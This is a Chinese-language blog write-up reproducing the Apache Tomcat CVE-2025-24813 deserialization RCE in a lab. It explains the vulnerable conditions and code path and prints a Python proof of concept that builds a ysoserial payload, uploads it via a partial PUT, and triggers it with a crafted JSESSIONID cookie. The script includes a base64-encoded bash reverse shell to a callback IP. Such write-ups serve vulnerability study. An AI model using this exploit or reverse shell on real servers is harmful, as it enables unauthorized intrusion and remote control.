CVE-2025-24813 RCE复现
CVE-2025-24813 RCE复现
参考文章:
Tomcat RCE(CVE-2025-24813)复现_cve-2025-24813 复现-CSDN博客
CVE-2025-24813 RCE复现 - FreeBuf网络安全行业门户
CVE-2025-24813 Tomcat RCE 分析复现 (meteorkai.top)
漏洞影响范围
漏洞影响范围
- 9.0.0.M1 <= Apache Tomcat <= 9.0.98
- 10.1.0-M1 <= Apache Tomcat <= 10.1.34
- 11.0.0-M1 <= Apache Tomcat <= 11.0.2
漏洞利用条件
- DefaultServlet 写入功能启用:需要在
web.xml中配置readonly=false - PartialPUT请求支持:tomcat中默认支持分块上传
- 文件会话持久化启用:在 context.xml 中配置 PersistentManager 和 FileStore
- 存在反序列化的利用链:需要包含漏洞的库(这里使用commons-collections-3.2.1.jar)
漏洞原理
- Tomcat中文件会话持久化技术,
Content-Range在Tomcat的HTTP PUT请求中主要实现用于大文件的分块传输,在文件上传未完成的情况下,会被临时储存在Tomcat的工作目录下CATALINA_BASE/work/Catalina/localhost/ROOT中 - 漏洞核心在于:对不完整的PUT请求上传的文件名处理机制:文件路径中的分隔符
/会被转化为.。例如:对于PUT请求的路径/evil/session会被解析为.evil.session中 - Tomcat的File会话存储默认路径同样位于:
CATALINA_BASE/work/Catalina/localhost/ROOT,在Cookie中带有JSESSIONID字段时,Tomcat会将该字段中的.id与.session拼接,并从会话存储路径中寻找文件名为.id.session的文件,对该文件的内容进行反序列化操作,从而触发攻击链
漏洞利用过程
- 当存在反序列化利用链时,上传包含恶意的序列化数据文件(临时存储在
CATALINA_BASE/work/Catalina/localhost/ROOT) - 通过设置
JSESSIONID=.xxxx来触发漏洞(位置也在CATALINA_BASE/work/Catalina/localhost/ROOT)
环境搭建
新建一个对应的tomcat项目
启用DefaultServlet写入
在
conf/web.xml中,将DefaultServlet的readonly配置为false(默认true),启用写入功能:1
2
3
4<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>启用文件会话持久化并使用默认的会话存储位置
在
conf/context.xml中,添加如下配置,开启File文件会话存储:1
2
3<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
漏洞复现
尝试过使用burpsuit和yakit发送数据包,发现都不成功,也有发送的文件文件名被重写保存在/tomcat文件下,尝试后发现只有使用python写脚本发包能够正常保存.session文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import os
import subprocess
import requests
target = "http://172.31.80.1:8080/poc/session"
target_poc = "http://172.31.80.1:8080/"
# ysoserial.jar 文件路径
fp = 'D:\java漏洞利用\ysoserial-all.jar'
gadget = "CommonsCollections5"
linux_rshell = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTMyLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
linux_cmd = "touch /tmp/success"
win_cmd = "calc"
command = win_cmd
if not os.path.exists(fp):
raise Exception('jar file not found')
popen = subprocess.Popen(['java','-jar',fp,gadget,command],
stdout=subprocess.PIPE)
file_body = popen.stdout.read()
headers = {
'Content-Length': '3000',
'Content-Range': 'bytes 0-3000/3200'
}
response = requests.put(target, data=file_body, headers=headers, timeout=10)
# print(response.text)
input("Press Enter to continue...")
response = requests.get(target_poc, cookies={'JSESSIONID':'.poc'}, timeout=10)在Catalina/localhost/ROOT/org/apache/jsp路径下,可以看到成功上传了带有恶意序列化数据的文件

但是并未弹出计算器,显示服务器内部出错
分析后发现是导入tomcat的jar包时出现一些问题,jar包未导入库中,原因未知
源代码分析
jar包导入时出现了问题,没有继续调试了,只看了文章
临时文件创建源码
1
2
3
4
5
6
7doPut(DefaultServlet)->executePartialPut
条件:
1.readOnly=false
2.Content-Range合法
executePartialPut方法核心控制:
将一个path中的/替换为.后当作文件名,然后写入到工作目录下的ROOT路径下的.poc.session中
走到return contentFile时,的恶意文件已经写好反序列化漏洞触发过程
1
2
3
4触发点:load方法(其中的特殊函数:ObjectInputStream 反序列化漏洞的特殊函数)
->file方法(接受Cookie中的id,然后与.session拼接起来,然后将文件名为.poc.session的File类型的属性返回回去)
->FileInpuStream(将文件内容以字节流的方式读出)
->readObject(进行反序列化,触发构造的攻击链)
问题解决
从磁盘导入jdk时一直显示不是jdk有效路径
解决:更改jdk安装路径时必须将新文件夹命名为jdk1.8.0_版本,否则IDEA无法识别
CVE-2025-24813 RCE复现
http://huang-d1.github.io/2025/06/19/CVE-2025-24813 RCE复现/